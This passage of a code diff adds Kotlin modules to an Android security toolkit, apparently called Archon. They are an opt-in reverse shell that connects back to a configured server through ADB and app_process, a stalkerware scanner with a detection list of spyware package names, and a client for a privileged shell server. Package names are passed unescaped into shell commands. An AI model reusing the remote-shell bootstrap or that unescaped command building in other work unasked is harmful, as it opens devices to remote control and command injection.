ModuleAction("enable", "Enable", "Accept warnings and enable reverse shell", privilegeRequired = false),
|
||||
ModuleAction("disable", "Disable", "Disable reverse shell and kill active connections", privilegeRequired = false),
|
||||
ModuleAction("connect", "Connect", "Start reverse shell to AUTARCH server"),
|
||||
ModuleAction("disconnect", "Disconnect", "Stop active reverse shell"),
|
||||
ModuleAction("status", "Status", "Check connection status", privilegeRequired = false),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when (actionId) {
|
||||
"enable" -> enable(context)
|
||||
"disable" -> disable(context)
|
||||
"connect" -> connect(context)
|
||||
"disconnect" -> disconnect(context)
|
||||
"status" -> status(context)
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||
val connected = isShellRunning()
|
||||
|
||||
val summary = when {
|
||||
connected -> "Connected to AUTARCH"
|
||||
enabled -> "Enabled — not connected"
|
||||
else -> "Disabled"
|
||||
}
|
||||
|
||||
return ModuleStatus(
|
||||
active = connected,
|
||||
summary = summary,
|
||||
details = mapOf(
|
||||
"enabled" to enabled.toString(),
|
||||
"connected" to connected.toString(),
|
||||
"port" to prefs.getInt(KEY_PORT, DEFAULT_PORT).toString(),
|
||||
"timeout" to "${prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)} min"
|
||||
)
|
||||
)
|
||||
}
|
||||
|
||||
// ── Actions ─────────────────────────────────────────────────────
|
||||
|
||||
private fun enable(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
// Check if warnings were accepted (UI sets this after showing all 3)
|
||||
if (!prefs.getBoolean(KEY_WARNING_ACCEPTED, false)) {
|
||||
return ModuleResult(
|
||||
false,
|
||||
"Warnings not accepted. Use the UI to enable — all 3 safety warnings must be acknowledged.",
|
||||
WARNINGS
|
||||
)
|
||||
}
|
||||
|
||||
prefs.edit().putBoolean(KEY_ENABLED, true).apply()
|
||||
Log.i(TAG, "Reverse shell ENABLED")
|
||||
return ModuleResult(true, "Reverse shell enabled. Use 'connect' to start a session.")
|
||||
}
|
||||
|
||||
private fun disable(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
// Kill any active shell first
|
||||
if (isShellRunning()) {
|
||||
killShell()
|
||||
}
|
||||
|
||||
prefs.edit()
|
||||
.putBoolean(KEY_ENABLED, false)
|
||||
.putBoolean(KEY_WARNING_ACCEPTED, false)
|
||||
.remove(KEY_SESSION_TOKEN)
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Reverse shell DISABLED")
|
||||
return ModuleResult(true, "Reverse shell disabled. All connections terminated.")
|
||||
}
|
||||
|
||||
private fun connect(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
|
||||
if (!prefs.getBoolean(KEY_ENABLED, false)) {
|
||||
return ModuleResult(false, "Reverse shell is disabled. Enable it first.")
|
||||
}
|
||||
|
||||
if (isShellRunning()) {
|
||||
return ModuleResult(false, "Shell is already connected. Disconnect first.")
|
||||
}
|
||||
|
||||
// Get server IP from main prefs
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
if (serverIp.isEmpty()) {
|
||||
return ModuleResult(false, "No AUTARCH server IP configured. Set it in Settings.")
|
||||
}
|
||||
|
||||
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||
|
||||
// Generate session token
|
||||
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||
prefs.edit().putString(KEY_SESSION_TOKEN, token).apply()
|
||||
|
||||
// Get APK path for app_process bootstrap
|
||||
val apkPath = context.applicationInfo.sourceDir
|
||||
if (apkPath.isNullOrEmpty()) {
|
||||
return ModuleResult(false, "Could not determine APK path")
|
||||
}
|
||||
|
||||
// Build bootstrap command (no --nice-name — causes abort on GrapheneOS/some ROMs)
|
||||
val bootstrapCmd = buildString {
|
||||
append("TMPDIR=/data/local/tmp ")
|
||||
append("CLASSPATH='$apkPath' ")
|
||||
append("/system/bin/app_process /system/bin ")
|
||||
append("com.darkhal.archon.server.ArchonShell ")
|
||||
append("$serverIp $port $token $timeout")
|
||||
}
|
||||
|
||||
val fullCmd = "nohup sh -c \"$bootstrapCmd\" >> /data/local/tmp/archon_shell.log 2>&1 & echo started"
|
||||
|
||||
Log.i(TAG, "Starting reverse shell to $serverIp:$port (timeout: ${timeout}m)")
|
||||
|
||||
// Execute via LocalAdbClient (same as ArchonServer bootstrap)
|
||||
val result = if (LocalAdbClient.isConnected()) {
|
||||
LocalAdbClient.execute(fullCmd)
|
||||
} else {
|
||||
return ModuleResult(false, "No ADB connection — pair via Wireless Debugging first")
|
||||
}
|
||||
|
||||
if (result.exitCode != 0 && !result.stdout.contains("started")) {
|
||||
return ModuleResult(false, "Failed to start shell: ${result.stderr}")
|
||||
}
|
||||
|
||||
// Wait briefly for connection to establish
|
||||
Thread.sleep(2000)
|
||||
|
||||
return if (isShellRunning()) {
|
||||
ModuleResult(true, "Connected to $serverIp:$port (timeout: ${timeout}m)")
|
||||
} else {
|
||||
ModuleResult(false, "Shell process started but may not have connected yet. Check server logs.")
|
||||
}
|
||||
}
|
||||
|
||||
private fun disconnect(context: Context): ModuleResult {
|
||||
if (!isShellRunning()) {
|
||||
return ModuleResult(true, "No active shell connection")
|
||||
}
|
||||
|
||||
killShell()
|
||||
context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
.edit().remove(KEY_SESSION_TOKEN).apply()
|
||||
|
||||
Thread.sleep(500)
|
||||
return if (!isShellRunning()) {
|
||||
ModuleResult(true, "Shell disconnected")
|
||||
} else {
|
||||
ModuleResult(false, "Shell process may still be running — try force-stopping the app")
|
||||
}
|
||||
}
|
||||
|
||||
private fun status(context: Context): ModuleResult {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val enabled = prefs.getBoolean(KEY_ENABLED, false)
|
||||
val connected = isShellRunning()
|
||||
val serverIp = PrefsManager.getServerIp(context)
|
||||
val port = prefs.getInt(KEY_PORT, DEFAULT_PORT)
|
||||
val timeout = prefs.getInt(KEY_TIMEOUT, DEFAULT_TIMEOUT)
|
||||
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Enabled: $enabled")
|
||||
details.add("Connected: $connected")
|
||||
details.add("Server: $serverIp:$port")
|
||||
details.add("Timeout: ${timeout} minutes")
|
||||
|
||||
if (connected) {
|
||||
// Try to read the log tail
|
||||
val logTail = try {
|
||||
val p = Runtime.getRuntime().exec(arrayOf("sh", "-c", "tail -5 /data/local/tmp/archon_shell.log 2>/dev/null"))
|
||||
p.inputStream.bufferedReader().readText().trim()
|
||||
} catch (e: Exception) { "" }
|
||||
if (logTail.isNotEmpty()) {
|
||||
details.add("--- Recent log ---")
|
||||
details.add(logTail)
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (connected) "Connected to $serverIp:$port" else if (enabled) "Enabled — not connected" else "Disabled",
|
||||
details = details
|
||||
)
|
||||
}
|
||||
|
||||
// ── Internal ────────────────────────────────────────────────────
|
||||
|
||||
private fun isShellRunning(): Boolean {
|
||||
return try {
|
||||
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", "pgrep -f $SHELL_PROCESS_NAME"))
|
||||
val output = process.inputStream.bufferedReader().readText().trim()
|
||||
process.waitFor()
|
||||
output.isNotEmpty()
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
private fun killShell() {
|
||||
try {
|
||||
Runtime.getRuntime().exec(arrayOf("sh", "-c", "pkill -f $SHELL_PROCESS_NAME"))
|
||||
Log.i(TAG, "Killed reverse shell process")
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to kill shell", e)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,319 @@
|
||||
package com.darkhal.archon.module
|
||||
|
||||
import android.content.Context
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
|
||||
/**
|
||||
* Protection Shield module — scans for and removes stalkerware/spyware.
|
||||
* Ported from AUTARCH core/android_protect.py.
|
||||
*
|
||||
* All commands run through PrivilegeManager → ArchonServer (UID 2000).
|
||||
*/
|
||||
class ShieldModule : ArchonModule {
|
||||
|
||||
override val id = "shield"
|
||||
override val name = "Protection Shield"
|
||||
override val description = "Scan & remove stalkerware, spyware, and surveillance tools"
|
||||
override val version = "1.0"
|
||||
|
||||
// Known stalkerware/spyware package patterns
|
||||
private val stalkerwarePatterns = listOf(
|
||||
"mspy", "flexispy", "cocospy", "spyzie", "hoverwatch", "eyezy",
|
||||
"pctattoetool", "thewispy", "umobix", "xnspy", "cerberus",
|
||||
"trackview", "spyera", "mobile.tracker", "spy.phone", "phone.monitor",
|
||||
"gps.tracker.spy", "spyapp", "phonetracker", "stalkerware",
|
||||
"keylogger", "screenrecorder.secret", "hidden.camera",
|
||||
"com.android.providers.telephony.backup", // Fake system package
|
||||
"com.system.service", "com.android.system.manager", // Common disguises
|
||||
)
|
||||
|
||||
// Suspicious permissions that stalkerware typically uses
|
||||
private val suspiciousPerms = listOf(
|
||||
"android.permission.READ_CALL_LOG",
|
||||
"android.permission.READ_SMS",
|
||||
"android.permission.READ_CONTACTS",
|
||||
"android.permission.RECORD_AUDIO",
|
||||
"android.permission.CAMERA",
|
||||
"android.permission.ACCESS_FINE_LOCATION",
|
||||
"android.permission.READ_EXTERNAL_STORAGE",
|
||||
"android.permission.BIND_ACCESSIBILITY_SERVICE",
|
||||
"android.permission.BIND_DEVICE_ADMIN",
|
||||
"android.permission.PACKAGE_USAGE_STATS",
|
||||
"android.permission.SYSTEM_ALERT_WINDOW",
|
||||
)
|
||||
|
||||
override fun getActions(): List<ModuleAction> = listOf(
|
||||
ModuleAction("full_scan", "Full Scan", "Run all security scans"),
|
||||
ModuleAction("scan_packages", "Scan Packages", "Check installed apps against stalkerware database"),
|
||||
ModuleAction("scan_permissions", "Scan Permissions", "Find apps with suspicious permission combos"),
|
||||
ModuleAction("scan_device_admins", "Scan Device Admins", "List active device administrators"),
|
||||
ModuleAction("scan_accessibility", "Scan Accessibility", "Check enabled accessibility services"),
|
||||
ModuleAction("scan_certificates", "Scan Certificates", "Check for user-installed CA certificates"),
|
||||
ModuleAction("scan_network", "Scan Network", "Check proxy, DNS, VPN settings"),
|
||||
ModuleAction("disable_app", "Disable App", "Disable a suspicious package (pm disable-user)"),
|
||||
ModuleAction("uninstall_app", "Uninstall App", "Uninstall a suspicious package"),
|
||||
ModuleAction("revoke_permissions", "Revoke Permissions", "Revoke dangerous permissions from a package"),
|
||||
ModuleAction("remove_device_admin", "Remove Device Admin", "Remove an active device admin component"),
|
||||
ModuleAction("clear_proxy", "Clear Proxy", "Remove HTTP proxy settings"),
|
||||
ModuleAction("remove_certificate", "Remove Certificate", "Remove a user-installed CA certificate"),
|
||||
)
|
||||
|
||||
override fun executeAction(actionId: String, context: Context): ModuleResult {
|
||||
return when {
|
||||
actionId == "full_scan" -> fullScan(context)
|
||||
actionId == "scan_packages" -> scanPackages()
|
||||
actionId == "scan_permissions" -> scanPermissions()
|
||||
actionId == "scan_device_admins" -> scanDeviceAdmins()
|
||||
actionId == "scan_accessibility" -> scanAccessibility()
|
||||
actionId == "scan_certificates" -> scanCertificates()
|
||||
actionId == "scan_network" -> scanNetwork()
|
||||
actionId == "disable_app" -> ModuleResult(false, "Specify package: use disable_app:<package>")
|
||||
actionId == "uninstall_app" -> ModuleResult(false, "Specify package: use uninstall_app:<package>")
|
||||
actionId == "clear_proxy" -> clearProxy()
|
||||
actionId.startsWith("disable_app:") -> disableApp(actionId.substringAfter(":"))
|
||||
actionId.startsWith("uninstall_app:") -> uninstallApp(actionId.substringAfter(":"))
|
||||
actionId.startsWith("revoke_permissions:") -> revokePermissions(actionId.substringAfter(":"))
|
||||
actionId.startsWith("remove_device_admin:") -> removeDeviceAdmin(actionId.substringAfter(":"))
|
||||
actionId.startsWith("remove_certificate:") -> removeCertificate(actionId.substringAfter(":"))
|
||||
else -> ModuleResult(false, "Unknown action: $actionId")
|
||||
}
|
||||
}
|
||||
|
||||
override fun getStatus(context: Context): ModuleStatus {
|
||||
return ModuleStatus(
|
||||
active = PrivilegeManager.isReady(),
|
||||
summary = if (PrivilegeManager.isReady()) "Ready to scan" else "Needs privilege setup"
|
||||
)
|
||||
}
|
||||
|
||||
// ── Scan actions ────────────────────────────────────────────────
|
||||
|
||||
private fun fullScan(context: Context): ModuleResult {
|
||||
val results = mutableListOf<String>()
|
||||
var threats = 0
|
||||
|
||||
val scans = listOf(
|
||||
"Packages" to ::scanPackages,
|
||||
"Permissions" to ::scanPermissions,
|
||||
"Device Admins" to ::scanDeviceAdmins,
|
||||
"Accessibility" to ::scanAccessibility,
|
||||
"Certificates" to ::scanCertificates,
|
||||
"Network" to ::scanNetwork,
|
||||
)
|
||||
|
||||
for ((name, scan) in scans) {
|
||||
val result = scan()
|
||||
results.add("=== $name ===")
|
||||
results.add(result.output)
|
||||
if (result.details.isNotEmpty()) {
|
||||
threats += result.details.size
|
||||
results.addAll(result.details)
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (threats > 0) "$threats potential threat(s) found" else "No threats detected",
|
||||
details = results
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanPackages(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm list packages")
|
||||
if (result.exitCode != 0) {
|
||||
return ModuleResult(false, "Failed to list packages: ${result.stderr}")
|
||||
}
|
||||
|
||||
val packages = result.stdout.lines()
|
||||
.filter { it.startsWith("package:") }
|
||||
.map { it.removePrefix("package:") }
|
||||
|
||||
val found = mutableListOf<String>()
|
||||
for (pkg in packages) {
|
||||
val lower = pkg.lowercase()
|
||||
for (pattern in stalkerwarePatterns) {
|
||||
if (lower.contains(pattern)) {
|
||||
found.add("[!] $pkg (matches: $pattern)")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Scanned ${packages.size} packages, ${found.size} suspicious",
|
||||
details = found
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanPermissions(): ModuleResult {
|
||||
// Get packages with dangerous permissions
|
||||
val result = PrivilegeManager.execute(
|
||||
"pm list packages -f | head -500"
|
||||
)
|
||||
if (result.exitCode != 0) {
|
||||
return ModuleResult(false, "Failed: ${result.stderr}")
|
||||
}
|
||||
|
||||
val packages = result.stdout.lines()
|
||||
.filter { it.startsWith("package:") }
|
||||
.map { it.substringAfterLast("=") }
|
||||
.take(200) // Limit for performance
|
||||
|
||||
val suspicious = mutableListOf<String>()
|
||||
for (pkg in packages) {
|
||||
val dump = PrivilegeManager.execute("dumpsys package $pkg 2>/dev/null | grep 'android.permission' | head -30")
|
||||
if (dump.exitCode != 0) continue
|
||||
|
||||
val perms = dump.stdout.lines().map { it.trim() }
|
||||
val dangerousCount = perms.count { line ->
|
||||
suspiciousPerms.any { perm -> line.contains(perm) }
|
||||
}
|
||||
|
||||
if (dangerousCount >= 5) {
|
||||
suspicious.add("[!] $pkg has $dangerousCount suspicious permissions")
|
||||
}
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Checked permissions on ${packages.size} packages, ${suspicious.size} suspicious",
|
||||
details = suspicious
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanDeviceAdmins(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("dumpsys device_policy 2>/dev/null | grep -A 2 'Admin\\|DeviceAdminInfo'")
|
||||
if (result.exitCode != 0 && result.stdout.isEmpty()) {
|
||||
return ModuleResult(true, "No device admins found or could not query", emptyList())
|
||||
}
|
||||
|
||||
val admins = result.stdout.lines().filter { it.isNotBlank() }
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "${admins.size} device admin entries found",
|
||||
details = admins.map { it.trim() }
|
||||
)
|
||||
}
|
||||
|
||||
private fun scanAccessibility(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("settings get secure enabled_accessibility_services")
|
||||
val services = result.stdout.trim()
|
||||
|
||||
return if (services.isNotEmpty() && services != "null") {
|
||||
val list = services.split(":").filter { it.isNotBlank() }
|
||||
ModuleResult(
|
||||
success = true,
|
||||
output = "${list.size} accessibility service(s) enabled",
|
||||
details = list.map { "[!] $it" }
|
||||
)
|
||||
} else {
|
||||
ModuleResult(true, "No accessibility services enabled", emptyList())
|
||||
}
|
||||
}
|
||||
|
||||
private fun scanCertificates(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("ls /data/misc/user/0/cacerts-added/ 2>/dev/null")
|
||||
|
||||
return if (result.exitCode == 0 && result.stdout.isNotBlank()) {
|
||||
val certs = result.stdout.lines().filter { it.isNotBlank() }
|
||||
ModuleResult(
|
||||
success = true,
|
||||
output = "${certs.size} user-installed CA certificate(s)",
|
||||
details = certs.map { "[!] Certificate: $it" }
|
||||
)
|
||||
} else {
|
||||
ModuleResult(true, "No user-installed CA certificates", emptyList())
|
||||
}
|
||||
}
|
||||
|
||||
private fun scanNetwork(): ModuleResult {
|
||||
val findings = mutableListOf<String>()
|
||||
|
||||
// Check HTTP proxy
|
||||
val proxy = PrivilegeManager.execute("settings get global http_proxy").stdout.trim()
|
||||
if (proxy.isNotEmpty() && proxy != "null" && proxy != ":0") {
|
||||
findings.add("[!] HTTP proxy set: $proxy")
|
||||
}
|
||||
|
||||
// Check private DNS
|
||||
val dnsMode = PrivilegeManager.execute("settings get global private_dns_mode").stdout.trim()
|
||||
val dnsProvider = PrivilegeManager.execute("settings get global private_dns_specifier").stdout.trim()
|
||||
if (dnsMode == "hostname" && dnsProvider.isNotEmpty() && dnsProvider != "null") {
|
||||
findings.add("[i] Private DNS: $dnsProvider (mode: $dnsMode)")
|
||||
}
|
||||
|
||||
// Check VPN always-on
|
||||
val vpn = PrivilegeManager.execute("settings get secure always_on_vpn_app").stdout.trim()
|
||||
if (vpn.isNotEmpty() && vpn != "null") {
|
||||
findings.add("[!] Always-on VPN: $vpn")
|
||||
}
|
||||
|
||||
// Check global proxy pac
|
||||
val pac = PrivilegeManager.execute("settings get global global_http_proxy_pac").stdout.trim()
|
||||
if (pac.isNotEmpty() && pac != "null") {
|
||||
findings.add("[!] Proxy PAC configured: $pac")
|
||||
}
|
||||
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = if (findings.isEmpty()) "Network settings clean" else "${findings.size} network finding(s)",
|
||||
details = findings
|
||||
)
|
||||
}
|
||||
|
||||
// ── Remediation actions ─────────────────────────────────────────
|
||||
|
||||
private fun disableApp(pkg: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm disable-user --user 0 $pkg")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Disabled: $pkg" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun uninstallApp(pkg: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("pm uninstall --user 0 $pkg")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Uninstalled: $pkg" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun revokePermissions(pkg: String): ModuleResult {
|
||||
val revoked = mutableListOf<String>()
|
||||
for (perm in suspiciousPerms) {
|
||||
val result = PrivilegeManager.execute("pm revoke $pkg $perm 2>/dev/null")
|
||||
if (result.exitCode == 0) revoked.add(perm)
|
||||
}
|
||||
return ModuleResult(
|
||||
success = true,
|
||||
output = "Revoked ${revoked.size}/${suspiciousPerms.size} permissions from $pkg",
|
||||
details = revoked.map { "Revoked: $it" }
|
||||
)
|
||||
}
|
||||
|
||||
private fun removeDeviceAdmin(component: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("dpm remove-active-admin $component")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Removed device admin: $component" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun clearProxy(): ModuleResult {
|
||||
val result = PrivilegeManager.execute("settings put global http_proxy :0")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "HTTP proxy cleared" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
|
||||
private fun removeCertificate(hash: String): ModuleResult {
|
||||
val result = PrivilegeManager.execute("rm /data/misc/user/0/cacerts-added/$hash")
|
||||
return ModuleResult(
|
||||
success = result.exitCode == 0,
|
||||
output = if (result.exitCode == 0) "Certificate removed: $hash" else "Failed: ${result.stderr}"
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,371 @@
|
||||
package com.darkhal.archon.server
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
import java.io.BufferedReader
|
||||
import java.io.InputStreamReader
|
||||
import java.io.OutputStreamWriter
|
||||
import java.io.PrintWriter
|
||||
import java.net.InetSocketAddress
|
||||
import java.net.Socket
|
||||
import java.util.UUID
|
||||
import java.util.concurrent.atomic.AtomicBoolean
|
||||
|
||||
/**
|
||||
* Client for the Archon privileged server process.
|
||||
*
|
||||
* Handles:
|
||||
* - Bootstrapping the server via ADB (app_process command)
|
||||
* - TCP socket communication with JSON protocol
|
||||
* - Token-based authentication
|
||||
* - Server lifecycle management
|
||||
*/
|
||||
object ArchonClient {
|
||||
|
||||
private const val TAG = "ArchonClient"
|
||||
private const val DEFAULT_PORT = 17321
|
||||
private const val PREFS_NAME = "archon_server"
|
||||
private const val KEY_TOKEN = "server_token"
|
||||
private const val KEY_PORT = "server_port"
|
||||
private const val CONNECT_TIMEOUT = 3000
|
||||
private const val READ_TIMEOUT = 30000
|
||||
|
||||
private val serverRunning = AtomicBoolean(false)
|
||||
private var serverPid: Int = -1
|
||||
|
||||
/**
|
||||
* Check if the Archon server is running and responding.
|
||||
*/
|
||||
fun isServerRunning(context: Context): Boolean {
|
||||
val token = getToken(context) ?: return false
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
val result = sendCommand(token, port, "__ping__")
|
||||
val alive = result.exitCode == 0 && result.stdout == "pong"
|
||||
serverRunning.set(alive)
|
||||
alive
|
||||
} catch (e: Exception) {
|
||||
serverRunning.set(false)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get server info (UID, PID, uptime) if running.
|
||||
*/
|
||||
fun getServerInfo(context: Context): String? {
|
||||
val token = getToken(context) ?: return null
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
val result = sendCommand(token, port, "__info__")
|
||||
if (result.exitCode == 0) result.stdout else null
|
||||
} catch (e: Exception) {
|
||||
null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Start the Archon server via ADB.
|
||||
*
|
||||
* Bootstrap flow:
|
||||
* 1. Get APK path from context
|
||||
* 2. Generate random auth token
|
||||
* 3. Build app_process command
|
||||
* 4. Execute via LocalAdbClient or AUTARCH server ADB
|
||||
* 5. Wait for server to start
|
||||
* 6. Verify connection
|
||||
*/
|
||||
/**
|
||||
* Check if any ArchonServer is alive on the port (no auth needed).
|
||||
*/
|
||||
fun isServerAlive(): Boolean {
|
||||
return try {
|
||||
val result = sendCommand("", DEFAULT_PORT, "__alive__", 3)
|
||||
result.exitCode == 0 && result.stdout == "alive"
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
fun startServer(context: Context): StartResult {
|
||||
// Check if a server is already running (possibly started from web UI)
|
||||
if (isServerAlive()) {
|
||||
Log.i(TAG, "Server already alive on port $DEFAULT_PORT")
|
||||
// If we also have a valid token, verify full auth
|
||||
if (isServerRunning(context)) {
|
||||
val info = getServerInfo(context) ?: "running"
|
||||
return StartResult(true, "Server already running: $info")
|
||||
}
|
||||
// Server alive but we don't have the right token
|
||||
return StartResult(false, "Server running but token mismatch — stop it first (web UI or: adb shell pkill -f ArchonServer)")
|
||||
}
|
||||
|
||||
// Generate new token for this session
|
||||
val token = UUID.randomUUID().toString().replace("-", "").take(32)
|
||||
val port = DEFAULT_PORT
|
||||
|
||||
// Save token and port
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_TOKEN, token)
|
||||
.putInt(KEY_PORT, port)
|
||||
.apply()
|
||||
|
||||
// Get APK path
|
||||
val apkPath = context.applicationInfo.sourceDir
|
||||
if (apkPath.isNullOrEmpty()) {
|
||||
return StartResult(false, "Could not determine APK path")
|
||||
}
|
||||
|
||||
// Build the bootstrap command (modeled after Shizuku's ServiceStarter pattern)
|
||||
// TMPDIR is needed so dalvik-cache can be created by shell user
|
||||
val bootstrapCmd = buildString {
|
||||
append("TMPDIR=/data/local/tmp ")
|
||||
append("CLASSPATH='$apkPath' ")
|
||||
append("/system/bin/app_process /system/bin ")
|
||||
append("com.darkhal.archon.server.ArchonServer ")
|
||||
append("$token $port")
|
||||
}
|
||||
|
||||
// Wrap in nohup + background so it survives ADB disconnect
|
||||
val fullCmd = "nohup sh -c \"$bootstrapCmd\" > /data/local/tmp/archon_server.log 2>&1 & echo started"
|
||||
|
||||
Log.i(TAG, "Bootstrap command: $bootstrapCmd")
|
||||
|
||||
// Try to execute — LocalAdbClient first, then AUTARCH server USB ADB
|
||||
val adbResult = if (LocalAdbClient.isConnected()) {
|
||||
Log.i(TAG, "Starting server via LocalAdbClient")
|
||||
val r = LocalAdbClient.execute(fullCmd)
|
||||
Log.i(TAG, "LocalAdb result: exit=${r.exitCode} stdout=${r.stdout.take(200)} stderr=${r.stderr.take(200)}")
|
||||
r
|
||||
} else {
|
||||
Log.i(TAG, "LocalAdb not connected, trying AUTARCH server USB ADB")
|
||||
val httpResult = startServerViaHttp(context, apkPath, token, port)
|
||||
if (httpResult != null) {
|
||||
Log.i(TAG, "HTTP bootstrap result: exit=${httpResult.exitCode} stdout=${httpResult.stdout.take(200)} stderr=${httpResult.stderr.take(200)}")
|
||||
httpResult
|
||||
} else {
|
||||
Log.e(TAG, "Both ADB methods failed — no connection available")
|
||||
return StartResult(false, "No ADB connection — connect phone via USB to AUTARCH, or use Wireless Debugging")
|
||||
}
|
||||
}
|
||||
|
||||
if (adbResult.exitCode != 0 && !adbResult.stdout.contains("started")) {
|
||||
Log.e(TAG, "Bootstrap command failed: exit=${adbResult.exitCode} stdout=${adbResult.stdout} stderr=${adbResult.stderr}")
|
||||
return StartResult(false, "ADB command failed (exit ${adbResult.exitCode}): ${adbResult.stderr.ifEmpty { adbResult.stdout }}")
|
||||
}
|
||||
|
||||
// Wait for server to come up
|
||||
Log.i(TAG, "Waiting for server to start...")
|
||||
for (i in 1..10) {
|
||||
Thread.sleep(500)
|
||||
if (isServerRunning(context)) {
|
||||
val info = getServerInfo(context) ?: "running"
|
||||
Log.i(TAG, "Server started: $info")
|
||||
return StartResult(true, "Server running: $info")
|
||||
}
|
||||
}
|
||||
|
||||
return StartResult(false, "Server did not start within 5s — check /data/local/tmp/archon_server.log")
|
||||
}
|
||||
|
||||
/**
|
||||
* Execute a shell command via the Archon server.
|
||||
*/
|
||||
fun execute(context: Context, command: String, timeoutSec: Int = 30): ShellResult {
|
||||
val token = getToken(context)
|
||||
?: return ShellResult("", "No server token — start server first", -1)
|
||||
val port = getPort(context)
|
||||
|
||||
return try {
|
||||
sendCommand(token, port, command, timeoutSec)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Execute failed", e)
|
||||
serverRunning.set(false)
|
||||
ShellResult("", "Server communication error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the Archon server.
|
||||
*/
|
||||
fun stopServer(context: Context): Boolean {
|
||||
val token = getToken(context) ?: return false
|
||||
val port = getPort(context)
|
||||
return try {
|
||||
sendCommand(token, port, "__shutdown__")
|
||||
serverRunning.set(false)
|
||||
Log.i(TAG, "Server shutdown requested")
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Stop failed", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate the bootstrap command string (for display/manual use).
|
||||
*/
|
||||
fun getBootstrapCommand(context: Context): String {
|
||||
val token = getToken(context) ?: "TOKEN"
|
||||
val port = getPort(context)
|
||||
val apkPath = context.applicationInfo.sourceDir ?: "/data/app/.../base.apk"
|
||||
return "TMPDIR=/data/local/tmp CLASSPATH='$apkPath' /system/bin/app_process /system/bin " +
|
||||
"com.darkhal.archon.server.ArchonServer $token $port"
|
||||
}
|
||||
|
||||
// ── Internal ────────────────────────────────────────────────────
|
||||
|
||||
private fun getToken(context: Context): String? {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.getString(KEY_TOKEN, null)
|
||||
}
|
||||
|
||||
private fun getPort(context: Context): Int {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
